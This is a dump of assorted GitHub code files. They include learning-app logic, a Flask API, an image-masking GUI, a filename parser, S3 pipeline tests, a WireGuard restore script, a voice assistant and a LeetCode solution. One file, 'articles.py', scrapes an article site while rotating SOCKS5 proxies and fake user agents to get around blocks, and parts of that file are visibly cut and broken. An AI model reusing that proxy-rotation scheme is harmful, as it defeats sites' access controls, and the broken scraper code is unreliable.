5\n# Modeling function for probability: p(x)=110-x²\nPROBABILITY_FUNCTION = lambda x: 110-np.square(x)\n# Weighting of average compared to proficiency weight (always 1)\nAVERAGE_WEIGHTING = 0.5\n\ndef select_sub_type(prof_dict, prof_avg, paths):\n \"\"\"\n Selects the next sub-task type based on the proficiency given the following constraints:\n 1) Unknown sub-tasks are always preferred. \n 1.1) If there are multiple unkown sub-tasks, randomly choose one\n 2) If there are no unkown sub-tasks, a random sub-task is chosen\n 2.1) In this random choice, the probability of occurence in based on the proficiency\n 2.2) Lower proficiency means higher probability of occurence\n Returns the chosen proficiency sub-type as well as the difficulty for this sub-type on a scale of 1-10\n \"\"\"\n # Initialize lists for the sub types and their proficiency (if known)\n unknown_sub_types = []\n known_sub_types = []\n known_proficiencies = []\n\n # Go through dictionary and fill lists\n for sub_type, proficiency in prof_dict.items():\n # Check if proficiency is known\n if proficiency is not None:\n # Add to known lists\n known_sub_types.append(sub_type)\n known_proficiencies.append(proficiency)\n else:\n # Add sub-type to unknown list\n unknown_sub_types.append(sub_type)\n # Check if there are any unknown items\n if len(unknown_sub_types) > 0:\n # Choose a random sub-type and take default difficulty\n sub_type = random.choice(unknown_sub_types)\n return sub_type, DEFAULT_DIFFICULTY\n else:\n # All sub-types are known, random choice based on proficiency\n return select_known_sub_type(known_sub_types, known_proficiencies, prof_avg, paths)\n\ndef select_known_sub_type(sub_types, proficiencies, prof_avg, paths):\n \"\"\"\n Selects a sub-type based on probability that is inversely related to the proficieny\n Selects the difficulty based on the task proficiency and the average domain proficiency\n Returns sub-type and difficulty\n \"\"\"\n # Select sub-type\n selected_sub_type, selected_proficiency = probability_selection(sub_types, proficiencies, paths)\n # Adapt difficulty depending on the users paths\n\n for path in paths:\n selected_proficiency = path.adapt_proficiency(selected_sub_type, selected_proficiency)\n # Select the difficulty as weighted average of sub-task proficiency and average domain proficiency\n difficulty = (selected_proficiency + prof_avg * AVERAGE_WEIGHTING) / (1 + AVERAGE_WEIGHTING)\n # Return results\n\n logger.debug(\"selected sub type: {}, selected difficulty: {}\".format(selected_sub_type,difficulty))\n\n return selected_sub_type, difficulty\n\ndef probability_selection(sub_types, proficiencies, paths):\n \"\"\"\n Selects a random sub-type based on the proficiency and returns the selected sub-type as well as the corresponding proficiency\n \"\"\"\n # Calculate list of probabilities based on the proficiencies\n probabilities = PROBABILITY_FUNCTION(np.array(proficiencies))\n # Renormalization of probabilities\n probabilities_norm = probabilities / np.sum(probabilities)\n # Adapt probability depending on the users paths\n if not paths == []:\n probabilities_norm = path_probability_adaptions(sub_types, probabilities_norm, paths)\n # Choose random index\n selected_idx = np.random.choice(list(range(len(proficiencies))), size = 1, p = probabilities_norm, replace=False)[0]\n # Get selected values from list\n selected_sub_type = sub_types[selected_idx]\n selected_proficiency = proficiencies[selected_idx]\n # Return values\n return selected_sub_type, selected_proficiency\n\ndef path_probability_adaptions(sub_types, probabilities, paths):\n #the values that need increase need to be changed first, as otherwise the values that are set will get overriden\n for path in paths:\n if path.set_prob() == False:\n probabilities = path.adapt_probability(sub_types,probabilities)\n for path in paths:\n if path.set_prob() == True:\n probabilities = path.adapt_probability(sub_types,probabilities)\n\n return probabilities","repo_name":"ALLUOS/ALLUOS_PUBLIC_APP","sub_path":"src/backend/adaptability/selection.py","file_name":"selection.py","file_ext":"py","file_size_in_byte":4330,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"2878391768","text":"from flask_restplus import Namespace, Resource, fields\nfrom tpot_api.database import model\n\napi = Namespace('program', description='Program related operations')\n\nprogram = api.model('Program', {\n 'program_cip': fields.String(\n required=True, description='The program CIP code'),\n 'program_type': fields.String(\n required=True, description='The program type'),\n })\n\n\n@api.route('/')\n@api.param('provider_id', 'The provider identifier')\n@api.response(404, 'Program not found')\nclass Program(Resource):\n @api.doc('get all programs from the provider')\n @api.marshal_list_with(program)\n def get(self, provider_id):\n '''Fetch all programs given the provider's identifier'''\n try:\n return model.get_programs_for_provider(provider_id)\n except:\n api.abort(404)\n","repo_name":"workforce-data-initiative/tpot-api","sub_path":"tpot_api/apis/program.py","file_name":"program.py","file_ext":"py","file_size_in_byte":844,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"21"} +{"seq_id":"34283041560","text":"import tkinter as tk\r\nfrom tkinter import *\r\nfrom PIL import Image\r\nfrom PIL import ImageTk\r\nfrom tkinter import filedialog\r\nimport cv2\r\nimport numpy as np\r\n\r\nclass App:\r\n original_image = None\r\n hsv_image = None\r\n image_mask = None\r\n\r\n def __init__(self, master):\r\n self.img_path = None\r\n\r\n width = root.winfo_screenwidth()\r\n height = root.winfo_screenheight()\r\n\r\n root.geometry('{}x{}'.format(width,height))\r\n\r\n self.low_hue = tk.Scale(master, label='Low',from_=0, to=180, length=300,showvalue=2,orient=tk.HORIZONTAL, command=self.show_changes)\r\n self.low_hue.place(x=75, y=530)\r\n\r\n self.high_hue = tk.Scale(master,label='High', from_=0, to=180, length=300,orient=tk.HORIZONTAL, command=self.show_changes)\r\n self.high_hue.place(x=75, y=600)\r\n self.high_hue.set(180)\r\n###########################################################################################################\r\n\r\n self.low_sat = tk.Scale(master, label='Low',from_=0, to=255, length=300,orient=tk.HORIZONTAL, command=self.show_changes)\r\n self.low_sat.place(x=525, y=530)\r\n\r\n self.high_sat = tk.Scale(master, label=\"High\", from_=0, to=255, length=300,orient=tk.HORIZONTAL, command=self.show_changes)\r\n self.high_sat.place(x=525, y=600)\r\n self.high_sat.set(255)\r\n###########################################################################################################\r\n\r\n self.low_val = tk.Scale(master, label=\"Low\",from_=0, to=255, length=300,orient=tk.HORIZONTAL, command=self.show_changes)\r\n self.low_val.place(x=975, y=530)\r\n\r\n self.high_val = tk.Scale(master, label=\"High\",from_=0, to=255, length=300,orient=tk.HORIZONTAL, command=self.show_changes)\r\n self.high_val.place(x=975, y=600)\r\n self.high_val.set(255)\r\n\r\n###########################################################################################################\r\n# buttons\r\n # Open\r\n self.open_btn = tk.Button(text=\"Pilih Gambar\", command=self.open_file ,width=12)\r\n self.open_btn.place(x=20, y=460)\r\n\r\n########################################################################################################## Images\r\n# frame\r\n frame0 = Frame(root, width = 404, height = 404, highlightbackground=\"#4a4a49\", highlightcolor=\"#4a4a49\", highlightthickness=2, bd=0)\r\n l = Entry(frame0, borderwidth=0, relief=\"flat\", bg=\"#dedcd7\")\r\n l.place(width=400, height=400)\r\n frame0.pack()\r\n frame0.place(x = 25, y = 25)\r\n\r\n frame1 = Frame(root, width = 404, height = 404, highlightbackground=\"#4a4a49\", highlightcolor=\"#4a4a49\", highlightthickness=2, bd=0)\r\n l1 = Entry(frame1, borderwidth=0, relief=\"flat\", bg=\"#dedcd7\")\r\n l1.place(width=400, height=400)\r\n frame1.pack()\r\n frame1.place(x = 475, y = 25)\r\n\r\n frame2 = Frame(root, width = 404, height = 404, highlightbackground=\"#4a4a49\", highlightcolor=\"#4a4a49\", highlightthickness=2, bd=0)\r\n l2 = Entry(frame2, borderwidth=0, relief=\"flat\", bg=\"#dedcd7\")\r\n l2.place(width=400, height=400)\r\n frame2.pack()\r\n frame2.place(x = 925, y = 25)\r\n\r\n##########################################################################################################\r\n def open_file(self):\r\n global once\r\n once = True\r\n img_file = filedialog.askopenfilename(filetypes = [\r\n (\"image\", \".jpeg\"),\r\n (\"image\", \".png\"),\r\n (\"image\", \".jpg\")]) # pilih file\r\n # this makes sure you select a file otherwise program crashes if not\r\n if img_file != '': # Si La imagen existe\r\n self.img_path = img_file \r\n # This just makes sure that the image is displayed after opening it.\r\n self.low_hue.set(self.low_hue.get()+1)\r\n self.low_hue.set(self.low_hue.get()-1)\r\n else:\r\n print('ERORR')\r\n return 0\r\n\r\n\r\n def show_changes(self, a):\r\n global once, img_screenshot\r\n\r\n if self.img_path == None: # If the image does nothing\r\n return 0\r\n\r\n low_hue = self.low_hue.get()\r\n low_sat = self.low_sat.get()\r\n low_val = self.low_val.get()\r\n # Altos\r\n high_hue = self.high_hue.get()\r\n high_sat = self.high_sat.get()\r\n high_val = self.high_val.get()\r\n # Does nothing if low values ​​go higher than high values\r\n if low_val > high_val or low_sat > high_sat or low_hue > high_hue:\r\n return 0\r\n\r\n # Get image from file \r\n self.original_image = cv2.imread(self.img_path,1)\r\n # image resized\r\n self.original_image = cv2.resize(self.original_image,(400,400))\r\n\r\n lower_color = np.array([low_hue,low_sat,low_val]) \r\n upper_color= np.array([high_hue,high_sat,high_val])\r\n #convert image to hsv\r\n self.hsv_image = cv2.cvtColor(self.original_image, cv2.COLOR_BGR2HSV)\r\n self.original_image = cv2.cvtColor(self.original_image, cv2.COLOR_BGR2RGB)\r\n self.mask = cv2.inRange(self.hsv_image, lower_color, upper_color)\r\n self.res = cv2.bitwise_and(self.original_image, self.original_image, mask=self.mask)\r\n \r\n # konversi ke format PIL\r\n self.original_image = Image.fromarray(self.original_image)\r\n self.original_image = ImageTk.PhotoImage(self.original_image)\r\n label_img = tk.Label(root, image=self.original_image, relief=tk.SOLID )\r\n label_img.image = self.original_image\r\n label_img.place(x=25, y=25)\r\n # once = False\r\n\r\n # convierte a formato PIL\r\n self.mask = Image.fromarray(self.mask)\r\n self.mask = ImageTk.PhotoImage(self.mask)\r\n labelm_img = tk.Label(root, image=self.mask, relief=tk.SOLID )\r\n labelm_img.image = self.mask\r\n labelm_img.place(x=475, y=25)\r\n \r\n self.res = Image.fromarray(self.res)\r\n self.res = ImageTk.PhotoImage(self.res)\r\n label_Ires1 = tk.Label(root, image=self.res, relief=tk.SOLID)\r\n label_Ires1.image = self.res\r\n label_Ires1.place(x=925, y=25)\r\n\r\n# Instance of Tkinter\r\nroot = tk.Tk()\r\n# New tkinter instnace of app\r\napp = App(root)\r\n# loops over to keep window active\r\nroot.mainloop()","repo_name":"Alaloma/PCD","sub_path":"Image-Masking-GUI.py","file_name":"Image-Masking-GUI.py","file_ext":"py","file_size_in_byte":6268,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"19798150139","text":"word='apple'\ndef check_guess(guess):\n guess=guess.lower()\n if guess in word:\n print(f'Good guess, {guess} is in the word!')\n else:\n print(f\"{guess} is not in the word. Please try again\")\n\n\ndef ask_for_input():\n while True:\n guess=input(\"Please enter a single letter: \")\n if len(guess) == 1 and guess.isalpha() is True:\n break\n else:\n print(\"Invalid input. Please enter a single alphabetical character\")\n check_guess(guess)\n\nask_for_input()\n\n\n\n","repo_name":"RachelWilkinson0110/hangman","sub_path":"milestone_3.py","file_name":"milestone_3.py","file_ext":"py","file_size_in_byte":515,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"18669130242","text":"import sys, os\nimport re, string\nimport requests, urllib.request\nimport colorama\nimport socket, socks\nimport asyncio, aiohttp, time, concurrent, random\nfrom termcolor import colored\nfrom bs4 import BeautifulSoup\nfrom fake_useragent import UserAgent\nfrom proxybroker import Broker\n\nCONFIG_FILE = '_config.xml'\n\ncolorama.init()\nua = UserAgent()\nregex = re.compile('[^а-яА-Яa-zA-Z]+')\ndefault_socket = socket.socket\nproxy_list = []\nproxy_excepted = []\ncurrent_proxy = ()\n\ndef save_start2config(start_pos):\n with open(CONFIG_FILE, 'rb') as file:\n soup = BeautifulSoup(file, 'html.parser')\n articles = soup.find('config', {'name':'articles'})\n articles.find('start').string.replace_with(str(start_pos))\n with open(CONFIG_FILE, 'wb') as file:\n file.write(soup.prettify('utf-8', 'minimal'))\n\ndef load_config(path):\n global SAMPLES_DIR\n global PAGES\n global START\n global PROXY\n global COUNT\n\n with open(path, 'rb') as file:\n content = file.read()\n soup = BeautifulSoup(content, 'lxml')\n all = soup.find('all')\n articles = soup.find('config', {'name':'articles'})\n SAMPLES_DIR = all.find('samples').text.strip()\n PAGES = int(articles.find('pages').text)\n START = int(articles.find('start').text)\n COUNT = int(articles.find('count').text)\n PROXY = articles.find('proxy').text.strip() == 'True'\n \ndef get_proxies(timeout=20, broker_timeout=7, max_conn=150, max_tries=3, limit=40):\n exceptions = 0\n print('Loading proxy list')\n try:\n proxy_list.clear()\n setup_proxy(reset=True)\n proxies = asyncio.Queue()\n broker = Broker(proxies, timeout=broker_timeout, max_conn=max_conn, max_tries=max_tries)\n tasks = asyncio.gather(broker.find(types=['SOCKS5'], limit=limit), save_proxy(proxies))\n loop = asyncio.get_event_loop()\n loop.run_until_complete(asyncio.wait_for(tasks, timeout))\n print('Loaded proxies:', colored(len(proxy_list), 'cyan'))\n except Exception as e:\n print(colored('Error while loading proxies.','red'),e)\n time.sleep(5)\n pass\n finally:\n broker.stop()\n tasks.cancel()\n\ndef setup_proxy(type=None, host=None, port=None, reset=False):\n if reset: \n socket.socket = default_socket\n else: \n socks.set_default_proxy(type, host, port)\n socket.socket = socks.socksocket\n\nasync def save_proxy(proxies):\n while True:\n proxy = await proxies.get()\n if proxy is None: break\n ip = (proxy.host, proxy.port)\n if proxy.avg_resp_time < 0.5 and ip not in proxy_excepted:\n proxy_list.append(ip)\n\ndef change_proxy(remove=True):\n global PROXY\n global current_proxy\n empty_count = 0\n\n while True:\n if remove and len(current_proxy) > 1:\n proxy_excepted.append(current_proxy)\n if current_proxy in proxy_list: proxy_list.remove(current_proxy)\n\n if empty_count > 3:\t\n print(colored('No proxy avaliable. Switch to normal mode.', 'cyan'))\n PROXY = False\n setup_proxy(reset=True)\n break \n\t \n if len(proxy_list) < 3:\t\n get_proxies()\n empty_count += 1\n continue\t\n\n index = random.randint(0, len(proxy_list)-1)\n current_proxy = proxy_list[index]\n print(colored('Trying proxy:', 'magenta'),'%s:%d'%(current_proxy[0], current_proxy[1]))\n try: \n setup_proxy(socks.SOCKS5, current_proxy[0], current_proxy[1])\n iprequest = requests.get('http://checkip.amazonaws.com/', timeout=0.5) \n print(colored('New IP:', 'green'), iprequest.text.strip())\n break\n except: \n proxy_excepted.append(current_proxy)\n proxy_list.remove(current_proxy) \n continue \n\ndef download(url, path, pause=0):\n global PROXY\n retrys = 0\n while True:\n if PROXY:\n try:\n request = requests.get(url, headers={'User-Agent': ua.chrome}, timeout=1)\n if request.content.startswith(b' 0: time.sleep(pause)\n request = requests.get(url, headers={'User-Agent': ua.chrome}, timeout=1)\n if request.content.startswith(b' COUNT: break\n link = 'https://cyberleninka.ru/article/c/meditsina-i-zdravoohranenie/'+str(i)\n while True:\n try: responce = requests.get(link, headers={'User-Agent': UserAgent().chrome})\n except:\n print('Articles page retry:', colored(link, 'grey'))\n if PROXY: change_proxy()\n continue\n break\n download_articles(responce.content) \n\nif __name__ == '__main__':\n load_config(CONFIG_FILE)\n brutforce_articles()","repo_name":"Stafil0/archived-embedings-clusterization","sub_path":"scripts/articles.py","file_name":"articles.py","file_ext":"py","file_size_in_byte":5923,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"20913413556","text":"# somelib.py\nimport logging\n\nlog = logging.getLogger(__name__)\nlog.addHandler(logging.NullHandler())\n\n\n# Example function (for testing)\ndef func():\n log.critical('A Critical Error!')\n log.debug('A debug message')\n\n\n\"\"\"\n>>> import logging\n>>> logging.basicConfig()\n>>> somelib.func()\nCRITICAL:somelib:A Critical Error!\n>>>\n\"\"\"\n","repo_name":"ljy95135/PythonCookBook3","sub_path":"script/script13_12_logging.py","file_name":"script13_12_logging.py","file_ext":"py","file_size_in_byte":332,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"22058742836","text":"\nimport re\n\n\ndef matchFileExt(value):\n if len(value) < 3 or len(value) > 4:\n return\n ret = re.match(\"^(mkv|avi|mp4)$\", value, re.I)\n if ret:\n return ret.group(1)\n\ndef matchLanguage(value):\n if len(value) < 2 or len(value) > 3:\n return\n ret = re.match(\"^(LT|EN|RU)\", value, re.I)\n if ret:\n return ret.group(1)\n\ndef matchSubtitres(value):\n ret = re.match(\"([A-Z]*sub)\", value, re.I)\n if ret:\n return ret.group(1)\n\ndef matchYear(value):\n ret = re.match(\"^\\(?(\\d\\d\\d\\d)\\)?$\", value)\n if ret:\n return int(ret.group(1))\n\ndef matchCoding(value):\n ret = re.match(\"^(x264|h264|web\\-?rip|web\\-?dl|web\\-?dlrip|dvd\\-?rip|b[dr]\\-?rip|hd\\-?rip|hdtv|720p|1080p|avc|aac|ac3|dts|divx|xvid|bluray)$\", value, re.I)\n if ret:\n return ret.group(1)\n\ndef matchSeason(value):\n ret = re.match(\"^S(\\d+)\", value, re.I)\n if ret:\n return int(ret.group(1))\n\ndef matchEpisode(value):\n ret = re.match(\"E(\\d+)$\", value, re.I)\n if ret:\n return int(ret.group(1))\n\ndef cleanPrefixes(name):\n result = re.match(\"[\\[\\(\\{][^\\]\\)\\}]*[\\]\\)\\}](.*)\", name)\n if result:\n return result.group(1)\n return name\n\ndef swapTitle(line, length):\n while length < len(line):\n if re.match(\"[ \\.\\-_]\", line[length]):\n break\n length += 1\n\n title = line[:length]\n title = re.sub(r\"(\\w{3,})[\\._]\", r\"\\1 \", title)\n title = re.sub(r\"(\\w{2}[\\._])\", r\"\\1 \", title)\n title = re.sub(r\"(\\w{1}\\.)(\\w{2,})\", r\"\\1 \\2\", title)\n return title\n\ndef processName(name):\n if not name:\n return\n\n name = cleanPrefixes(name)\n arr = re.split(\"[ \\.\\-_]\", name)\n idx = len(arr)\n lastid = None\n\n ret = {}\n ret['type'] = 'movie'\n for val in reversed(arr):\n idx -= 1\n ext = matchFileExt(val)\n lang = matchLanguage(val)\n subs = matchSubtitres(val)\n year = matchYear(val)\n code = matchCoding(val)\n season = matchSeason(val)\n episode = matchEpisode(val)\n\n if 'ext' not in ret and ext:\n ret['ext'] = ext\n lastId = idx\n if lang:\n ret['lang'] = ret['lang'] if 'lang' in ret else []\n ret['lang'].append(lang)\n lastId = idx\n if subs:\n ret['subs'] = ret['subs'] if 'subs' in ret else []\n ret['subs'].append(subs)\n lastId = idx\n if 'year' not in ret and year:\n ret['year'] = year\n lastId = idx\n if code:\n ret['code'] = ret['code'] if 'code' in ret else []\n ret['code'].append(code)\n lastId = idx\n if 'season' not in ret and season:\n ret['season'] = season\n ret['type'] = 'episode'\n lastId = idx\n if 'episode' not in ret and episode:\n ret['episode'] = episode\n ret['type'] = 'episode'\n lastId = idx\n\n if lastId != None:\n ret['title'] = swapTitle(name, len(' '.join(arr[:lastId]).strip()))\n return ret\n\n\ndef processDirName(path):\n parts = path.split('/')\n if len(parts) < 2:\n return;\n\n return processName(parts[-2])\n\ndef processFileName(path):\n parts = path.split('/')\n\n return processName(parts[-1])\n\ndef modContractionsGeneric(title):\n #return title.replace(/((?<=\\bi)m|(?<=\\b(you|they))re|(?<=\\b(he|she|it))s|(?<=\\b(wasn|weren|won))t|(?<=\\b(i|you|they))ll|(?<=\\b(i|you|we))ve)\\b/gi, '\\'$1');\n title = re.sub(r\"\\b(isn|hasn|hadn|didn|wouldn|can|won|wasn|weren)t\\b\", r\"\\1't\", title, flags=re.I)\n title = re.sub(r\"\\b(she|there|he|it|who)s\\b\", r\"\\1's\", title, flags=re.I)\n title = re.sub(r\"\\bim\\b\", r\"i'm\", title, flags=re.I)\n title = re.sub(r\"\\b(i|you|they)ll\\b\", r\"\\1'll\", title, flags=re.I) # we'll, she'll\n title = re.sub(r\"\\b(i|you|she|we|they)d\\b\", r\"\\1'd\", title, flags=re.I)\n title = re.sub(r\"\\b(i|you|we|they)ve\\b\", r\"\\1've\", title, flags=re.I)\n title = re.sub(r\"\\b(you|they)re\\b\", r\"\\1're\", title, flags=re.I) # we're\n return title\n\ndef modContractionsWere(title):\n #return title.replace(/((?<=\\bwe)re)\\b/gi, '\\'$1')\n return re.sub(r\"\\bwere\\b\", r\"we're\", title, flags=re.I)\n\ndef modPossesiveSingular(title):\n return re.sub(r\"^(\\S*)s\\b\", r\"$1's\", title, count=1, flags=re.I)\n\ndef modPossesivePlural(title):\n return re.sub(\"^(\\S*)s\\b\", \"$1s'\", title, flags=re.I)\n","repo_name":"edzius/media-info","sub_path":"local/source.py","file_name":"source.py","file_ext":"py","file_size_in_byte":4362,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"32489852762","text":"import os\nimport tempfile\nfrom unittest.mock import Mock, patch\n\nimport boto3\nimport pytest\nfrom moto import mock_s3\nfrom sqlalchemy import create_engine\n\nfrom download_nsw_valuer_v2 import _http_to_s3, _s3_to_db, _clean_db\n\nTEST_DATE = \"20230501\"\nTEST_TABLE_NAME = \"test_nsw_valuer\"\nTEST_S3_BUCKET = \"test-s3-bucket\"\nTEST_S3_PREFIX = \"test-s3-prefix\"\n\n\n@pytest.fixture\ndef sample_content():\n current_file = os.path.realpath(__file__)\n current_directory = os.path.dirname(current_file)\n test_zip_file = os.path.join(current_directory, 'test/data/LV_20230501.zip')\n with open(test_zip_file, 'rb') as test_zip_content:\n yield test_zip_content.read()\n\n\n@pytest.fixture(autouse=True)\ndef mock_nsw_valuer_http(sample_content):\n mock_resp = Mock()\n mock_resp.content = sample_content\n with patch('requests.get', return_value=mock_resp):\n yield\n\n\n@pytest.fixture\ndef mock_db_uri():\n with tempfile.NamedTemporaryFile() as f:\n yield f'sqlite:///{f.name}'\n\n\n@pytest.fixture\ndef mock_s3_resource():\n mock_s3_session = mock_s3()\n mock_s3_session.start()\n s3 = boto3.resource(\"s3\")\n\n source_bucket = s3.Bucket(TEST_S3_BUCKET)\n source_bucket.create()\n\n with patch('download_nsw_valuer_v2._get_s3', return_value=s3):\n yield s3\n\n mock_s3_session.stop()\n\n\ndef test__nsw_valuer_http_to_s3(sample_content, mock_s3_resource):\n _http_to_s3(TEST_S3_BUCKET, TEST_S3_PREFIX, TEST_DATE)\n\n s3_object = mock_s3_resource.Object(TEST_S3_BUCKET, f'{TEST_S3_PREFIX}/LV_{TEST_DATE}.zip')\n uploaded_content = s3_object.get()['Body'].read()\n assert uploaded_content == sample_content\n\n\ndef test__nsw_valuer_s3_to_db(sample_content, mock_s3_resource, mock_db_uri):\n # Easiest way to setup s3 mock is to use previous pipeline step\n _http_to_s3(TEST_S3_BUCKET, TEST_S3_PREFIX, TEST_DATE)\n\n _s3_to_db(TEST_S3_BUCKET, TEST_S3_PREFIX, mock_db_uri, TEST_TABLE_NAME, TEST_DATE)\n\n engine = create_engine(mock_db_uri)\n with engine.connect() as conn:\n result = conn.execute(f\"SELECT count(*) FROM {TEST_TABLE_NAME} limit 5\")\n rows = result.fetchall()\n assert rows[0][0] == 18\n\n\ndef test__clean_db_for_date(sample_content, mock_s3_resource, mock_db_uri):\n _http_to_s3(TEST_S3_BUCKET, TEST_S3_PREFIX, TEST_DATE)\n _s3_to_db(TEST_S3_BUCKET, TEST_S3_PREFIX, mock_db_uri, TEST_TABLE_NAME, TEST_DATE)\n\n _clean_db(mock_db_uri, TEST_TABLE_NAME, TEST_DATE)\n\n _s3_to_db(TEST_S3_BUCKET, TEST_S3_PREFIX, mock_db_uri, TEST_TABLE_NAME, TEST_DATE)\n\n engine = create_engine(mock_db_uri)\n with engine.connect() as conn:\n\n result2 = conn.execute(f\"SELECT count(*) FROM {TEST_TABLE_NAME} limit 5\")\n rows = result2.fetchall()\n assert rows[0][0] == 18\n\n\n","repo_name":"ramseykhalaf/au-property","sub_path":"dags/test_download_nsw_valuer_v2.py","file_name":"test_download_nsw_valuer_v2.py","file_ext":"py","file_size_in_byte":2747,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"31580269438","text":"from __future__ import print_function\nimport os\nimport re\nfrom shlex import split\nfrom subprocess import call, check_output\nimport sys\n\ndef run(cmd):\n print(cmd)\n return call(split(cmd))\n\nif os.geteuid() != 0:\n print('Please run this script as root or with sudo')\n sys.exit(1)\n\nout = check_output(split('/opt/vyatta/bin/vyatta-op-cmd-wrapper show configuration commands'),\n universal_newlines=True)\nconflines = [line for line in out.splitlines() if 'wireguard' in line]\n\ninterfaces = []\nfor line in conflines:\n m = re.search(r'\\bwg\\d+\\b', line)\n if m and not m.group(0) in interfaces:\n interfaces.append(m.group(0))\n\nfor intf in interfaces:\n if os.path.exists('/sys/class/net/%s'%intf):\n run('ip link delete dev %s'%intf)\n run('ip link add dev %s type wireguard'%intf)\n\nfor line in conflines:\n m = re.search(r'set interfaces wireguard (wg\\d+) mtu (\\d+)', line)\n if m:\n run('ip link set dev %s mtu %s'%(m.group(1), m.group(2)))\n continue\n\n m = re.search(r'set interfaces wireguard (wg\\d+) address (.*)', line)\n if m:\n run('ip addr add %s dev %s'%(m.group(2), m.group(1)))\n continue\n\n m = re.search(r'set interfaces wireguard (wg\\d+) ((?:listen-port|private-key|peer|allowed-ips) .*)', line)\n if m and ('description' not in m.group(2)):\n run('wg set %s %s'%(m.group(1), m.group(2)))\n\nfor intf in interfaces:\n run('ip link set up dev %s'%intf)\n","repo_name":"aswild/vyatta-wireguard-build","sub_path":"contrib/restore-wireguard.py","file_name":"restore-wireguard.py","file_ext":"py","file_size_in_byte":1453,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"21"} +{"seq_id":"73460023414","text":"import pyttsx3\r\nimport datetime\r\nimport wikipedia\r\nimport webbrowser\r\nimport os\r\nimport smtplib\r\nimport speech_recognition as sr\r\n\r\n\r\nengine = pyttsx3.init('sapi5')\r\nvoices=engine.getProperty('voices')\r\n#print(voices)\r\nengine.setProperty('voices',voices[0].id)\r\n\r\ndef speak(audio):\r\n engine.say(audio)\r\n engine.runAndWait()\r\n\r\n\r\ndef wishMe():\r\n hour=int(datetime.datetime.now().hour)\r\n if hour >= 0 and hour < 12:\r\n speak(\" Good Morning sire!\")\r\n elif hour >=12 and hour < 18:\r\n speak(\" Good Afternoon sire!\")\r\n else :\r\n speak(\" Good Evening sire!\")\r\n \r\n speak(\" Hello sire I am Natalie your virtual assistant. How may i help you today?\")\r\n\r\ndef takeCommand():\r\n r = sr.Recognizer()\r\n with sr.Microphone() as source:\r\n print(\"Listening...\")\r\n r.pause_threshold=1\r\n audio=r.listen(source)\r\n \r\n try:\r\n print(\"Recognising...\")\r\n query=r.recognize_google(audio,language='en-in')\r\n print(f\"User said: {query}\\n\")\r\n except Exception as e:\r\n speak(\" Sorry I am unable to understand\")\r\n print(\"Say that again please......\")\r\n return \"None\"\r\n return query\r\n\r\ndef sendEmail(to , content):\r\n server = smtplib.SMTP(\"smtp.gmail.com\",587)\r\n server.ehlo()\r\n server.starttls()\r\n server.login(\" .... your email ....\",\"... your passord ....\")\r\n server.sendmail(\".... your email ....\",to,content)\r\n server.close()\r\n\r\nif __name__ == \"__main__\":\r\n wishMe()\r\n while True:\r\n \r\n query=takeCommand().lower()\r\n\r\n if \"wikipedia\" in query:\r\n speak(\"Searching Wikipedia..........\")\r\n query=query.replace(\"wikipedia\",\"\")\r\n results = wikipedia.summary(query,sentences=2)\r\n speak(\"According to wikipedia\")\r\n speak(results)\r\n\r\n elif \"open youtube\" in query:\r\n webbrowser.open(\"youtube.com\")\r\n\r\n elif \"open google\" in query:\r\n webbrowser.open(\"google.com\")\r\n\r\n elif \"time\" in query:\r\n strTime=datetime.datetime.now().strftime(\"%H:%M:%S\")\r\n speak(f\" Sir the time is {strTime}\")\r\n \r\n elif \"date\" in query:\r\n strDate=datetime.date.today()\r\n speak(f\" Sir the date is {strDate}\")\r\n \r\n elif \"open vs code\" in query:\r\n codepath=\"... path to vs code exe file ...\"\r\n os.startfile(codepath)\r\n \r\n elif \"play song\" or \"play music\" in query:\r\n music_dir = '... path to music playlist folder ...'\r\n songs = os.listdir(music_dir)\r\n os.startfile(os.path.join(music_dir,songs[0]))\r\n\r\n\r\n elif \"send email\" in query:\r\n \r\n try:\r\n speak(\" What should i send?\")\r\n content=takeCommand()\r\n to =\"... email id of the reciever ...\"\r\n sendEmail(to,content)\r\n speak(\" Email has been sent !!\")\r\n \r\n except Exception as e:\r\n print(e)\r\n speak(\" Sorry I was unable to send the email!!\")\r\n \r\n elif \"quit\" in query:\r\n speak(\"Thank you sir have a nice day ahead!\")\r\n exit()","repo_name":"tanmay1805/Voice-Assistant","sub_path":"jarvis.py","file_name":"jarvis.py","file_ext":"py","file_size_in_byte":3242,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"19761515029","text":"# https://leetcode.com/problems/step-by-step-directions-from-a-binary-tree-node-to-another/\n# 2096. Step-By-Step Directions From a Binary Tree Node to Another\n\n# Definition for a binary tree node.\n# class TreeNode:\n# def __init__(self, val=0, left=None, right=None):\n# self.val = val\n# self.left = left\n# self.right = right\nclass Solution:\n def getDirections(self, root: Optional[TreeNode], startValue: int, destValue: int) -> str:\n def preorderFind(root, x, pre, path):\n if not root:\n return None, None\n \n if root.val == x:\n pre.append(x)\n return pre, path\n \n pre.append(root.val)\n path.append('L')\n preL, pathL = preorderFind(root.left, x, pre, path)\n if preL:\n return preL, pathL\n path.pop()\n \n path.append('R')\n preR, pathR = preorderFind(root.right, x, pre, path)\n if preR:\n return preR, pathR\n path.pop()\n \n pre.pop()\n \n return None, None\n \n # Do preorder traversals and paths of start and dest nodes.\n # These give us paths from root -> ... LCA ... -> start and root -> ... LCA ... -> dest.\n preS, pathS = preorderFind(root, startValue, [], [])\n preD, pathD = preorderFind(root, destValue, [], [])\n \n # Find LCA of start and dest (i-1 will be the LCA)\n i = 0\n while i < len(preS) and i < len(preD) and preS[i] == preD[i]:\n i += 1\n \n # Shortest path between start and dest is start -> LCA -> dest.\n # Reverse of LCA -> start will be UUUU... of the same length.\n for j in range(i-1, len(pathS)):\n pathS[j] = 'U'\n \n # We're 